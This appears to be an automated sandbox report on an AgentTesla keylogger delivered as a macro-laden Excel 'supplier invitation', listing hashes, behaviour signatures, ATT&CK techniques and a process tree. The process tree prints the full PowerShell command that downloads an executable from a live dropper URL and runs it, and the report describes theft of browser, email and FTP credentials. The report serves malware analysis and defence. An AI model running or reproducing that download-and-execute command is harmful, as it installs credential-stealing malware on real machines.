agenttesla | 3346dbacdf7e0f240dd2ed2f99af41e4106e10039f096a8142fed178c4413fd9

Analysis

max time kernel
136s
max time network
132s
platform
windows10_x64
resource
win10v20201028
submitted
30/12/2020, 18:13

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General

Target
GPS_Supplier Invitation.xlsm
Size 88KB
Sample201230-14cw4c845e
SHA256 3346dbacdf7e0f240dd2ed2f99af41e4106e10039f096a8142fed178c4413fd9
MD5 709a312090cb59e631148d0d3cf05fef
SHA1 9358cd10d7a6d2e680e41feb6b13b649aebd87b7
SHA512 c7cfe5099e16751931bb2455fadee47e877a3a17c5aef1ef3ed05943a517a754bdea1e1df6b3e53ff122acfa1aa3655ede686a8feb54f636d68335c134fead1b
MD5 SHA1 SHA512

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://gods.brernbanarolle.com/host/food.exe

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4148	4772	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	3300	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4456	dWQYX.exe
4512	dWQYX.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4456 set thread context of 4512	4456	dWQYX.exe	84

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4772	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
4512	dWQYX.exe
4512	dWQYX.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	4512	dWQYX.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4772	EXCEL.EXE
4772	EXCEL.EXE

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4512	dWQYX.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 4148	4772	EXCEL.EXE	75
PID 4772 wrote to memory of 4148	4772	EXCEL.EXE	75
PID 4148 wrote to memory of 3300	4148	cmd.exe	77
PID 4148 wrote to memory of 3300	4148	cmd.exe	77
PID 3300 wrote to memory of 4456	3300	powershell.exe	81
PID 3300 wrote to memory of 4456	3300	powershell.exe	81
PID 3300 wrote to memory of 4456	3300	powershell.exe	81
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84
PID 4456 wrote to memory of 4512	4456	dWQYX.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\GPS_Supplier Invitation.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell (new-object System.Net.WebClient).DownloadFile('http://gods.brernbanarolle.com/host/food.exe',$env:AppData+'\dWQYX.exe');(New-Object -com Shell.Application).ShellExecute($env:AppData+'\dWQYX.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (new-object System.Net.WebClient).DownloadFile('http://gods.brernbanarolle.com/host/food.exe',$env:AppData+'\dWQYX.exe');(New-Object -com Shell.Application).ShellExecute($env:AppData+'\dWQYX.exe')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3300
  - - C:\Users\Admin\AppData\Roaming\dWQYX.exe
      "C:\Users\Admin\AppData\Roaming\dWQYX.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Users\Admin\AppData\Roaming\dWQYX.exe
        
        "C:\Users\Admin\AppData\Roaming\dWQYX.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/3300-5-0x00007FFF3C830000-0x00007FFF3D21C000-memory.dmp

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memory/3300-6-0x00000131A2830000-0x00000131A2831000-memory.dmp

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memory/3300-7-0x00000131BAD70000-0x00000131BAD71000-memory.dmp

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memory/4456-12-0x0000000000D20000-0x0000000000D21000-memory.dmp

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memory/4456-11-0x0000000073360000-0x0000000073A4E000-memory.dmp

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memory/4456-14-0x00000000056B0000-0x00000000056B1000-memory.dmp

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memory/4456-15-0x0000000005170000-0x00000000051AC000-memory.dmp

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memory/4456-16-0x0000000006F50000-0x0000000006F51000-memory.dmp

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memory/4512-17-0x0000000000400000-0x000000000043C000-memory.dmp

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memory/4512-20-0x0000000073360000-0x0000000073A4E000-memory.dmp

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memory/4512-25-0x0000000005700000-0x0000000005701000-memory.dmp

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memory/4512-26-0x0000000006260000-0x0000000006261000-memory.dmp

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memory/4512-27-0x0000000006930000-0x0000000006931000-memory.dmp

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memory/4512-28-0x0000000006460000-0x0000000006461000-memory.dmp

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memory/4772-2-0x00007FFF459C0000-0x00007FFF45FF7000-memory.dmp

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